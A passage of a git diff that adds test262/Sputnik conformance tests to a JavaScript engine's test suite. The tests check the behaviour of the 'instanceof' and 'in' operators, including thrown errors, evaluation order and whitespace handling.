+ $ERROR('#1.2: object instanceof Object throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T3.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T3.js
new file mode 100644
index 000000000..bb0a094ce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "instanceof" uses GetValue
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A2.1_T3.js
+ * @description If GetBase(ShiftExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ ({}) instanceof OBJECT;
+ $ERROR('#1.1: ({}) instanceof OBJECT throw ReferenceError. Actual: ' + (({}) instanceof OBJECT));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: ({}) instanceof OBJECT throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T1.js
new file mode 100644
index 000000000..957c99b3b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var OBJECT = 0;
+if ((OBJECT = Object, {}) instanceof OBJECT !== true) {
+ $ERROR('#1: var OBJECT = 0; (OBJECT = Object, {}) instanceof OBJECT === true');
+}
+
+//CHECK#2
+var object = {};
+if (object instanceof (object = 0, Object) !== true) {
+ $ERROR('#2: var object = {}; object instanceof (object = 0, Object) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T2.js
new file mode 100644
index 000000000..5f87c4342
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() instanceof y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() instanceof y() throw "x". Actual: ' + (x() instanceof y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() instanceof y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T3.js
new file mode 100644
index 000000000..06ef16073
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ object instanceof (object = {}, Object);
+ $ERROR('#1.1: object instanceof (object = {}, Object) throw ReferenceError. Actual: ' + (object instanceof (object = {}, Object)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: object instanceof (object = {}, Object) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((OBJECT = Object, {}) instanceof OBJECT !== true) {
+ $ERROR('#2: (OBJECT = Object, {}) instanceof OBJECT !== true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A3.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A3.js
new file mode 100644
index 000000000..da3d7e5dc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A3.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If ShiftExpression is not an object, throw TypeError
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A3.js
+ * @description Checking all the types of primitives
+ */
+
+//CHECK#1
+try {
+ true instanceof true;
+ $ERROR('#1: true instanceof true throw TypeError');
+}
+catch (e) {
+ if (e instanceof TypeError !== true) {
+ $ERROR('#1: true instanceof true throw TypeError');
+ }
+}
+
+//CHECK#2
+try {
+ 1 instanceof 1;
+ $ERROR('#2: 1 instanceof 1 throw TypeError');
+}
+catch (e) {
+ if (e instanceof TypeError !== true) {
+ $ERROR('#2: 1 instanceof 1 throw TypeError');
+ }
+}
+
+//CHECK#3
+try {
+ "string" instanceof "string";
+ $ERROR('#3: "string" instanceof "string" throw TypeError');
+}
+catch (e) {
+ if (e instanceof TypeError !== true) {
+ $ERROR('#3: "string" instanceof "string" throw TypeError');
+ }
+}
+
+//CHECK#4
+try {
+ undefined instanceof undefined;
+ $ERROR('#4: undefined instanceof undefined throw TypeError');
+}
+catch (e) {
+ if (e instanceof TypeError !== true) {
+ $ERROR('#4: undefined instanceof undefined throw TypeError');
+ }
+}
+
+//CHECK#5
+try {
+ null instanceof null;
+ $ERROR('#5: null instanceof null throw TypeError');
+}
+catch (e) {
+ if (e instanceof TypeError !== true) {
+ $ERROR('#5: null instanceof null throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T1.js
new file mode 100644
index 000000000..0f9d2319d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only constructor call (with "new" keyword) makes instance
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A4_T1.js
+ * @description Checking Boolean case
+ */
+
+//CHECK#1
+if (false instanceof Boolean) {
+ $ERROR('#1: false is not instanceof Boolean');
+}
+
+//CHECK#2
+if (Boolean(false) instanceof Boolean) {
+ $ERROR('#2: Boolean(false) is not instanceof Boolean');
+}
+
+//CHECK#3
+if (new Boolean instanceof Boolean !== true) {
+ $ERROR('#3: new Boolean instanceof Boolean');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T2.js
new file mode 100644
index 000000000..a4f1f3c02
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only constructor call (with "new" keyword) makes instance
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A4_T2.js
+ * @description Checking Number case
+ */
+
+//CHECK#1
+if (0 instanceof Number) {
+ $ERROR('#1: 0 is not instanceof Number');
+}
+
+//CHECK#2
+if (Number(0) instanceof Number) {
+ $ERROR('#2: Number(0) is not instanceof Number');
+}
+
+//CHECK#3
+if (new Number instanceof Number !== true) {
+ $ERROR('#3: new Number instanceof Number');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T3.js
new file mode 100644
index 000000000..c8220049c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A4_T3.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only constructor call (with "new" keyword) makes instance
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A4_T3.js
+ * @description Checking String case
+ */
+
+//CHECK#1
+if ("" instanceof String) {
+ $ERROR('#1: "" is not instanceof String');
+}
+
+//CHECK#2
+if (String("") instanceof String) {
+ $ERROR('#2: String("") is not instanceof String');
+}
+
+//CHECK#3
+if (new String instanceof String !== true) {
+ $ERROR('#3: new String instanceof String');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A5_T1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A5_T1.js
new file mode 100644
index 000000000..66d61034c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A5_T1.js
@@ -0,0 +1,47 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TypeError is subclass of Error from instanceof operator point of view
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A5_T1.js
+ * @description Checking Error case
+ */
+
+var __err = new Error;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__err instanceof Error)) {
+ $ERROR('#1: TypeError is subclass of Error from instanceof operator poit of view');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__err instanceof TypeError) {
+ $ERROR('#2: TypeError is subclass of Error from instanceof operator poit of view');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var err__ = Error('failed');
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (!(err__ instanceof Error)) {
+ $ERROR('#3: TypeError is subclass of Error from instanceof operator poit of view');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (err__ instanceof TypeError) {
+ $ERROR('#4: TypeError is subclass of Error from instanceof operator poit of view');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A5_T2.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A5_T2.js
new file mode 100644
index 000000000..340f09ff4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A5_T2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TypeError is subclass of Error from instanceof operator point of view
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A5_T2.js
+ * @description Checking TypeError case
+ */
+
+var __t__err = new TypeError;
+
+//CHECK#1
+if (!(__t__err instanceof Error)) {
+ $ERROR('#1: TypeError is subclass of Error from instanceof operator poit of view');
+}
+
+//CHECK#2
+if (!(__t__err instanceof TypeError)) {
+ $ERROR('#2: TypeError is subclass of Error from instanceof operator poit of view');
+}
+
+//////////////////////////////////////////////////////////////////////////////
+var err__t__ = TypeError('failed');
+
+//CHECK#3
+if (!(err__t__ instanceof Error)) {
+ $ERROR('#3: TypeError is subclass of Error from instanceof operator poit of view');
+}
+
+//CHECK#4
+if (!(err__t__ instanceof TypeError)) {
+ $ERROR('#4: TypeError is subclass of Error from instanceof operator poit of view');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T1.js
new file mode 100644
index 000000000..16e0d82b3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only Function objects implement [[HasInstance]] and can be proper ShiftExpression for the "instanceof" operator consequently
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A6_T1.js
+ * @description Checking "this" case
+ */
+
+//CHECK#1
+try{
+ ({}) instanceof this;
+ $ERROR('#1: Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+}
+catch(e){
+ if (e instanceof TypeError !== true) {
+ $ERROR('#1: Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T2.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T2.js
new file mode 100644
index 000000000..f25dbed82
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only Function objects implement [[HasInstance]] and can be proper ShiftExpression for the "instanceof" operator consequently
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A6_T2.js
+ * @description Checking Math case
+ */
+
+//CHECK#1
+try{
+ 1 instanceof Math;
+ $ERROR('#1: 1 instanceof Math throw TypeError');
+}
+catch(e){
+ if (e instanceof TypeError !== true) {
+ $ERROR('#1: 1 instanceof Math throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T3.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T3.js
new file mode 100644
index 000000000..24773ad97
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only Function objects implement [[HasInstance]] and can be proper ShiftExpression for the "instanceof" operator consequently
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A6_T3.js
+ * @description Checking if RelationalExpression is function
+ */
+
+function MyFunct(){return 0};
+
+//CHECK#1
+if (MyFunct instanceof MyFunct){
+ $ERROR('#1 function MyFunct(){return 0}; MyFunct instanceof MyFunct === false');
+}
+
+//CHECK#2
+if (MyFunct instanceof Function !== true){
+ $ERROR('#2 function MyFunct(){return 0}; MyFunct instanceof Function === true');
+}
+
+//CHECK#3
+if (MyFunct instanceof Object !== true){
+ $ERROR('#3 function MyFunct(){return 0}; MyFunct instanceof Object === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T4.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T4.js
new file mode 100644
index 000000000..68aa843e8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A6_T4.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only Function objects implement [[HasInstance]] and can be proper ShiftExpression for the "instanceof" operator consequently
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A6_T4.js
+ * @description Checking if RelationalExpression is object
+ */
+
+MyFunct = function(){};
+__my__funct = new MyFunct;
+
+
+//CHECK#1
+if (!(__my__funct instanceof MyFunct)){
+ $ERROR('#1 Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+}
+
+//CHECK#2
+if (__my__funct instanceof Function){
+ $ERROR('#2 Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+}
+
+//CHECK#3
+if (!(__my__funct instanceof Object)){
+ $ERROR('#3 Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+}
+
+//CHECK#4
+try{
+ __my__funct instanceof __my__funct;
+ $ERROR('#4 Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+}
+catch(e){
+ if (e instanceof TypeError !== true) {
+ $ERROR('#4 Only Function objects implement [[HasInstance]] and consequently can be proper ShiftExpression for The instanceof operator');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T1.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T1.js
new file mode 100644
index 000000000..97944a5fd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "instanceof" returns true it means that GetValue(RelationalExpression) is constructed with ShiftExpression
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A7_T1.js
+ * @description Checking Object object
+ */
+
+var __obj={};
+
+//CHECK#1
+if (!(__obj instanceof Object)) {
+ $ERROR('#1: If instanceof returns true then GetValue(RelationalExpression) was constructed with ShiftExpression');
+}
+
+//CHECK#2
+if (__obj.constructor !== Object) {
+ $ERROR('#2: If instanceof returns true then GetValue(RelationalExpression) was constructed with ShiftExpression');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T2.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T2.js
new file mode 100644
index 000000000..c77c93c18
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "instanceof" returns true it means that GetValue(RelationalExpression) is constructed with ShiftExpression
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A7_T2.js
+ * @description Checking Array object
+ */
+
+var __arr=[];
+
+//CHECK#1
+if (!(__arr instanceof Array)) {
+ $ERROR('#1: If instanceof returns true then GetValue(RelationalExpression) was constructed with ShiftExpression');
+}
+
+//CHECK#2
+if (__arr.constructor !== Array) {
+ $ERROR('#2: If instanceof returns true then GetValue(RelationalExpression) was constructed with ShiftExpression');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T3.js b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T3.js
new file mode 100644
index 000000000..8d476a8ad
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/S11.8.6_A7_T3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "instanceof" returns true it means that GetValue(RelationalExpression) is constructed with ShiftExpression
+ *
+ * @path ch11/11.8/11.8.6/S11.8.6_A7_T3.js
+ * @description Checking Function object
+ */
+
+var __func = new Function;
+
+//CHECK#1
+if (!(__func instanceof Function)) {
+ $ERROR('#1: If instanceof returns true then GetValue(RelationalExpression) was constructed with ShiftExpression');
+}
+
+//CHECK#2
+if (__func.constructor !== Function) {
+ $ERROR('#2: If instanceof returns true then GetValue(RelationalExpression) was constructed with ShiftExpression');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/browser.js b/js/src/tests/test262/ch11/11.8/11.8.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/browser.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.6/shell.js b/js/src/tests/test262/ch11/11.8/11.8.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.6/shell.js
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A1.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A1.js
new file mode 100644
index 000000000..93c67bfcc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between RelationalExpression and "in" and between "in" and ShiftExpression are allowed
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("'MAX_VALUE'\u0009in\u0009Number") !== true) {
+ $ERROR('#1: "MAX_VALUE"\\u0009in\\u0009Number === true');
+}
+
+//CHECK#2
+if (eval("'MAX_VALUE'\u000Bin\u000BNumber") !== true) {
+ $ERROR('#2: "MAX_VALUE"\\u000Bin\\u000BNumber === true');
+}
+
+//CHECK#3
+if (eval("'MAX_VALUE'\u000Cin\u000CNumber") !== true) {
+ $ERROR('#3: "MAX_VALUE"\\u000Cin\\u000CNumber === true');
+}
+
+//CHECK#4
+if (eval("'MAX_VALUE'\u0020in\u0020Number") !== true) {
+ $ERROR('#4: "MAX_VALUE"\\u0020in\\u0020Number === true');
+}
+
+//CHECK#5
+if (eval("'MAX_VALUE'\u00A0in\u00A0Number") !== true) {
+ $ERROR('#5: "MAX_VALUE"\\u00A0in\\u00A0Number === true');
+}
+
+//CHECK#6
+if (eval("'MAX_VALUE'\u000Ain\u000ANumber") !== true) {
+ $ERROR('#6: "MAX_VALUE"\\u000Ain\\u000ANumber === true');
+}
+
+//CHECK#7
+if (eval("'MAX_VALUE'\u000Din\u000DNumber") !== true) {
+ $ERROR('#7: "MAX_VALUE"\\u000Din\\u000DNumber === true');
+}
+
+//CHECK#8
+if (eval("'MAX_VALUE'\u2028in\u2028Number") !== true) {
+ $ERROR('#8: "MAX_VALUE"\\u2028in\\u2028Number === true');
+}
+
+//CHECK#9
+if (eval("'MAX_VALUE'\u2029in\u2029Number") !== true) {
+ $ERROR('#9: "MAX_VALUE"\\u2029in\\u2029Number === true');
+}
+
+//CHECK#10
+if (eval("'MAX_VALUE'\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029in\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029Number") !== true) {
+ $ERROR('#10: "MAX_VALUE"\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029in\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029Number === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T1.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T1.js
new file mode 100644
index 000000000..0e33a3d02
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T1.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "in" uses GetValue
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A2.1_T1.js
+ * @description Either Expression is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ("MAX_VALUE" in Number !== true) {
+ $ERROR('#1: "MAX_VALUE" in Number === true');
+}
+
+//CHECK#2
+var x = "MAX_VALUE";
+if (x in Number !== true) {
+ $ERROR('#2: var x = "MAX_VALUE"; x in Number === true');
+}
+
+//CHECK#3
+var y = Number;
+if ("MAX_VALUE" in y !== true) {
+ $ERROR('#3: var y = Number; "MAX_VALUE" in y === true');
+}
+
+//CHECK#4
+var x = "MAX_VALUE";
+var y = Number;
+if (x in y !== true) {
+ $ERROR('#4: var x = "MAX_VALUE"; var y = Number; x in y === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T2.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T2.js
new file mode 100644
index 000000000..307b23b83
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "in" uses GetValue
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A2.1_T2.js
+ * @description If GetBase(RelationalExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ MAX_VALUE in Number;
+ $ERROR('#1.1: MAX_VALUE in Number throw ReferenceError. Actual: ' + (MAX_VALUE in Number));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: MAX_VALUE in Number throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T3.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T3.js
new file mode 100644
index 000000000..89f69661a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator "in" uses GetValue
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A2.1_T3.js
+ * @description If GetBase(ShiftExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ "MAX_VALUE" in NUMBER;
+ $ERROR('#1.1: "MAX_VALUE" in NUMBER throw ReferenceError. Actual: ' + ("MAX_VALUE" in NUMBER));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: "MAX_VALUE" in NUMBER throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T1.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T1.js
new file mode 100644
index 000000000..5403131ae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var NUMBER = 0;
+if ((NUMBER = Number, "MAX_VALUE") in NUMBER !== true) {
+ $ERROR('#1: var NUMBER = 0; (NUMBER = Number, "MAX_VALUE") in NUMBER === true');
+}
+
+//CHECK#2
+var max_value = "MAX_VALUE";
+if (max_value in (max_value = "none", Number) !== true) {
+ $ERROR('#2: var max_value = "MAX_VALUE"; max_value in (max_value = "none", Number) === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T2.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T2.js
new file mode 100644
index 000000000..3016c2278
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() in y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() in y() throw "x". Actual: ' + (x() in y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() in y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T3.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T3.js
new file mode 100644
index 000000000..22744621a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.8/11.8.7/S11.8.7_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ max_value in (max_value = "MAX_VALUE", Number);
+ $ERROR('#1.1: max_value in (max_value = "MAX_VALUE", Number) throw ReferenceError. Actual: ' + (max_value in (max_value = "MAX_VALUE", Number)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: max_value in (max_value = "MAX_VALUE", Number) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((NUMBER = Number, "MAX_VALUE") in NUMBER !== true) {
+ $ERROR('#2: (NUMBER = Number, "MAX_VALUE") in NUMBER !== true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A3.js b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A3.js
new file mode 100644
index 000000000..56dc73198
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.8/11.8.7/S11.8.7_A3.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
